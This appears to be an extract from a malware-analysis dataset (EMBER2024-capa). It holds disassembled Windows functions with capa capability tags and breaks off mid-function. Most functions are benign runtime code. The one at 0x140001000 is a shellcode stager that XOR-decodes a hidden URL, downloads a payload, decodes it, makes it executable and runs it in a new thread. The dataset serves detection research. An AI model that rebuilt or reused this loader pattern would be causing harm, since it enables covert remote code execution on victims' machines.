joyce8/EMBER2024-capa huggingface dataset:
Function at 0x22dcd4270
Capabilities:
Write file on windows

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r13, qword [0x22ddae610]
mov rbx, rcx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rsi, qword [fcn.22dcfc130]
lea rdi, [rbx + 0x30]
nop dword [rax]
mov r12, qword [rbx]
mov ecx, 1
add rbx, 8
call rsi
mov rcx, rax
mov rdx, r12
call fcn.22dcd4160
cmp rdi, rbx
jne 0x22dcd42a0
mov ecx, 1
call rsi
mov r8d, 1
mov edx, 1
lea rcx, [0x22dda4f43]
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 1
call rsi
mov rcx, rax
call sub.msvcrt.dll_fflush
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x22dcde750
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
test edx, edx
lea eax, [rdx + 3]
mov r8, rcx
mov r9d, edx
cmovns eax, edx
mov ecx, eax
and eax, 0xfffffffc
sar ecx, 2
cdqe
mov edx, ecx
add r8, rax
neg edx
test ecx, ecx
je 0x22dcde828
movsxd rdx, edx
mov ecx, 0x2a
nop
imul eax, dword [r8 + rdx*4], 0xcc9e2d51
add rdx, 1
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, ecx
rol eax, 0xd
lea ecx, [rax + rax*4 - 0x19ab949c]
test edx, edx
jne 0x22dcde780
mov eax, r9d
and eax, 3
cmp eax, 2
je 0x22dcde820
cmp eax, 3
je 0x22dcde808
cmp eax, 1
je 0x22dcde7e8
xor r9d, ecx
mov eax, r9d
shr eax, 0x10
xor eax, r9d
imul eax, eax, 0x85ebca6b
mov edx, eax
shr edx, 0xd
xor eax, edx
imul eax, eax, 0xc2b2ae35
mov edx, eax
shr edx, 0x10
xor eax, edx
ret
xor edx, edx
movzx eax, byte [r8]
xor eax, edx
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor ecx, eax
jmp 0x22dcde7ba
movzx eax, byte [r8 + 2]
shl eax, 0x10
movzx edx, byte [r8 + 1]
shl edx, 8
xor edx, eax
jmp 0x22dcde7ea
xor eax, eax
jmp 0x22dcde810
mov ecx, 0x2a
jmp 0x22dcde7a5

Function at 0x22dce6450
Capabilities:
Read file on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rdi, rdx
lea rdx, [0x22ddab3b0]
mov rsi, rcx
call sub.msvcrt.dll_fopen
mov r12, rax
test rax, rax
je 0x22dce6538
xor edx, edx
mov r8d, 2
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rcx, r12
call sub.msvcrt.dll_ftell
xor r8d, r8d
xor edx, edx
mov rcx, r12
mov ebx, eax
call sub.msvcrt.dll_fseek
test ebx, ebx
jle 0x22dce6500
movsxd rbp, ebx
mov rcx, rbp
call sub.msvcrt.dll_malloc
mov r8, rbp
mov r9, r12
mov edx, 1
mov rcx, rax
mov r13, rax
call sub.msvcrt.dll_fread
mov r8, rsi
mov dword [rdi], eax
cmp ebx, eax
je 0x22dce6520
lea rdx, str.FILEIO:___s__File_partially_loaded
mov ecx, 4
call fcn.22dce6140
mov rcx, r12
call sub.msvcrt.dll_fclose
mov rax, r13
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov r8, rsi
lea rdx, str.FILEIO:___s__Failed_to_read_file
mov ecx, 4
xor r13d, r13d
call fcn.22dce6140
jmp 0x22dce64e0
lea rdx, str.FILEIO:___s__File_loaded_successfully
mov ecx, 3
call fcn.22dce62c0
jmp 0x22dce64e0
mov r8, rsi
lea rdx, str.FILEIO:___s__Failed_to_open_file
mov ecx, 4
xor r13d, r13d
call fcn.22dce6140
mov rax, r13
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x22dce9800
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.22dcfc130
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.22dcfc130
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x22dcea172
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x22de030a8]
test eax, eax
je 0x22dcea20a
lea rax, [0x22de03080]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x22de030b0]
mov qword [rbp - 8], rax
jmp 0x22dcea1ee
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x22dcea1e2
cmp qword [rbp - 0x10], 0
je 0x22dcea1e2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x22dcea1a8
lea rax, [0x22de03080]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x22dcea20b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x22dcea310
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x22dcea338
mov eax, 0
jmp 0x22dcea386
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x22dcea361
mov eax, 0
jmp 0x22dcea386
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x22dcea381
mov eax, 0
jmp 0x22dcea386
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x22dcea38c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x22dcea40a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x22dcea401
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x22dcea401
mov rax, qword [rbp - 8]
jmp 0x22dcea41f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x22dcea3d4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x22dceacc0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push rbx
sub rsp, 0x148
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xe0], rcx
call sub.msvcrt.dll__errno
mov dword [rax], 0
cmp qword [rbp + 0xe0], 0
jne 0x22dcead02
call sub.msvcrt.dll__errno
mov dword [rax], 0xe
mov eax, 0
jmp 0x22dceaf0f
mov rax, qword [rbp + 0xe0]
movzx eax, byte [rax]
test al, al
jne 0x22dcead25
call sub.msvcrt.dll__errno
mov dword [rax], 0x14
mov eax, 0
jmp 0x22dceaf0f
mov rcx, qword [rbp + 0xe0]
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp + 0xbc], eax
cmp dword [rbp + 0xbc], 0xffffffff
jne 0x22dcead59
call sub.msvcrt.dll__errno
mov dword [rax], 2
mov eax, 0
jmp 0x22dceaf0f
mov eax, dword [rbp + 0xbc]
and eax, 0x10
test eax, eax
jne 0x22dcead7b
call sub.msvcrt.dll__errno
mov dword [rax], 0x14
mov eax, 0
jmp 0x22dceaf0f
lea rax, [rbp - 0x60]
mov r8d, 0x104
mov rdx, qword [rbp + 0xe0]
mov rcx, rax
call sub.msvcrt.dll__fullpath
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_strlen
add rax, 0x24b
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xb0], rax
cmp qword [rbp + 0xb0], 0
jne 0x22dceadd4
call sub.msvcrt.dll__errno
mov dword [rax], 0xc
mov eax, 0
jmp 0x22dceaf0f
mov rax, qword [rbp + 0xb0]
lea rcx, [rax + 0x244]
lea rax, [rbp - 0x60]
mov rdx, rax
call sub.msvcrt.dll_strcpy
mov rax, qword [rbp + 0xb0]
movzx eax, byte [rax + 0x244]
test al, al
je 0x22dceae76
mov rax, qword [rbp + 0xb0]
add rax, 0x244
mov rcx, rax
call sub.msvcrt.dll_strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0xb0]
movzx eax, byte [rax + rdx + 0x244]
cmp al, 0x2f
je 0x22dceae76
mov rax, qword [rbp + 0xb0]
add rax, 0x244
mov rcx, rax
call sub.msvcrt.dll_strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0xb0]
movzx eax, byte [rax + rdx + 0x244]
cmp al, 0x5c
je 0x22dceae76
mov rax, qword [rbp + 0xb0]
lea rbx, [rax + 0x244]
mov rcx, rbx
call sub.msvcrt.dll_strlen
add rax, rbx
mov word [rax], 0x5c
mov rax, qword [rbp + 0xb0]
lea rbx, [rax + 0x244]
mov rcx, rbx
call sub.msvcrt.dll_strlen
add rax, rbx
mov word [rax], 0x2a
mov rax, qword [rbp + 0xb0]
mov qword [rax + 0x238], 0xffffffffffffffff
mov rax, qword [rbp + 0xb0]
mov dword [rax + 0x240], 0
mov rax, qword [rbp + 0xb0]
mov dword [rax + 0x128], 0
mov rax, qword [rbp + 0xb0]
mov word [rax + 0x12c], 0
mov rax, qword [rbp + 0xb0]
mov word [rax + 0x12e], 0
mov rax, qword [rbp + 0xb0]
add rax, 0x130
mov r8d, 0x104
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [rbp + 0xb0]
add rsp, 0x148
pop rbx
pop rbp
ret
Function at 0x22dcfe0e4
Capabilities:
Print debug messages

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
cmp qword [rbp + 0x10], 0
je 0x22dcfe22e
mov rcx, qword [rbp + 0x10]
call fcn.22dd026bd
cmp eax, 1
jne 0x22dcfe221
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
movabs rax, 0x6b5f6e6970732070
movabs rdx, 0x20726f6620737965
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
movabs rax, 0x20646165726874
mov edx, 0
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov word [rbp - 8], 0
mov byte [rbp - 6], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov ecx, eax
lea rax, [rbp - 0x70]
add rax, 0x27
mov r8d, 0xa
mov rdx, rax
mov rax, qword [sym.imp.msvcrt.dll__ultoa]
call rax
mov dword [rbp - 4], 0x27
jmp 0x22dcfe1d7
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cdqe
movzx eax, byte [rbp + rax - 0x70]
test al, al
je 0x22dcfe1ed
mov eax, dword [rbp - 4]
cmp eax, 0x69
jbe 0x22dcfe1d3
mov eax, dword [rbp - 4]
cmp eax, 0x69
ja 0x22dcfe20c
mov eax, dword [rbp - 4]
cdqe
mov byte [rbp + rax - 0x70], 0xa
mov eax, dword [rbp - 4]
add eax, 1
cdqe
mov byte [rbp + rax - 0x70], 0
lea rax, [rbp - 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rax
call sub.msvcrt.dll_abort
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov qword [rax], rdx
jmp 0x22dcfe22f
nop
add rsp, 0x90
pop rbp
ret
Function at 0x22dcff425
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xffffffffffffffff
lea rax, [0x22dcff24b]
mov rdx, rax
lea rax, [0x22de03b40]
mov rcx, rax
call fcn.22dcfe856
mov eax, dword [0x22dd101b0]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x22dcff478
mov rax, qword [rbp - 0x10]
jmp 0x22dcff5d8
call fcn.22dcfdfc0
mov qword [rbp - 0x10], rax
mov rax, qword [0x22de08040]
test rax, rax
je 0x22dcff494
cmp qword [rbp - 0x10], 0
jne 0x22dcff49e
mov eax, 0
jmp 0x22dcff5d8
mov rax, qword [rbp - 0x10]
mov dword [rax + 0x44], 1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0x70], eax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov rdx, qword [rbp - 0x10]
mov qword [rdx + 0x30], rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x38], 0xffffffffffffffff
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x68]
mov rax, qword [rbp - 8]
mov rdx, rax
call fcn.22dcfe0e4
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xb8], 0
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
lea rdi, [rax + 0x28]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rsi, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rdi
mov r8, rsi
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DuplicateHandle]
call rax
test eax, eax
jne 0x22dcff579
call sub.msvcrt.dll_abort
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadPriority]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0xc0], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 0
mov rax, qword [rbp - 0x10]
movzx edx, byte [rax + 0x40]
and edx, 0xffffffcf
or edx, 0x10
mov byte [rax + 0x40], dl
mov eax, dword [0x22dd101b0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
test eax, eax
jne 0x22dcff5d4
call sub.msvcrt.dll_abort
mov rax, qword [rbp - 0x10]
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x22dcff6d2
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 0x10], 0
mov rax, qword [rbp + 0x10]
mov dword [rbp - 4], eax
call fcn.22dcff425
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov qword [rax + 8], rdx
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x1d8]
mov rcx, rax
call fcn.22dcff279
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax + 0x40]
and eax, 0x30
test al, al
jne 0x22dcff73f
mov rax, qword [rbp - 0x18]
add rax, 0xd0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_longjmp]
call rax
mov eax, dword [0x22dd101b0]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x22dcff883
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x22dcff7dc
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x22dcff797
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.22dcfde9c
mov qword [rbp - 0x10], 0
mov eax, dword [0x22dd101b0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
jmp 0x22dcff883
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 1
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x22dcff816
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x44]
and eax, 4
test eax, eax
je 0x22dcff883
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.22dcfde9c
mov qword [rbp - 0x10], 0
mov eax, dword [0x22dd101b0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__endthreadex]
call rax
nop
Function at 0x140001000
Capabilities:
Create http request
Create thread
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0xa0
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x90], rax
movzx eax, word [0x1400022a0]
lea rcx, [r11 - 0x40]
movups xmm0, xmmword [0x140002280]
xor edi, edi
movups xmm1, xmmword [0x140002290]
mov r8d, edi
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm1
mov word [r11 - 0x20], ax
movzx eax, byte [0x1400022a2]
mov byte [r11 - 0x1e], al
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], dil
jne 0x140001060
test rax, rax
je 0x1400010a7
lea rdx, [rsp + 0x68]
nop dword [rax]
nop word [rax + rax]
xor byte [rdx], 0x77
lea rdx, [rdx + 1]
inc r8d
lea rcx, [rsp + 0x68]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], dil
jne 0x140001096
movsxd rcx, r8d
cmp rcx, rax
jb 0x140001080
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
lea rcx, str.myapp
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x28], rdi
lea rdx, [rsp + 0x68]
mov rcx, rax
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rbx, [0x140003630]
mov r8d, 0x5000
mov rdx, rbx
lea r9, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rax, rdi
nop dword [rax]
nop dword [rax + rax]
xor byte [rax + rbx], 0x77
xor byte [rax + rbx + 1], 0x77
add rax, 2
cmp rax, 0x5000
jl 0x140001110
lea r9, [rsp + 0x38]
mov edx, 0x5000
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
mov r8, rbx
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1400011a0
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret

Function at 0x140001a7c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ac6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ac6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ac6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ac6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ac6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ac8
xor al, al
add rsp, 0x28
ret
Function at 0x140001e90
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140001eb8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140001ede
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140001ee0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140001f39
test ecx, ecx
jle 0x140001f19
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140001f39
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140001f39
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140001f60
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140001f82
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140001f98
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140001fb4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140001fb6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140001ff2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000208e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000202d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000206e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000208e
cmp rbx, rax
ja 0x140002040
test rbx, rbx
je 0x14000208e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x1400024f0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000251d
xor eax, eax
jmp 0x140002689
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002557
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140002557
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140002689
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000267c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000259a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400025c5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002681
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002634
sub eax, 1
je 0x140002634
cmp eax, 2
jne 0x14000267c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
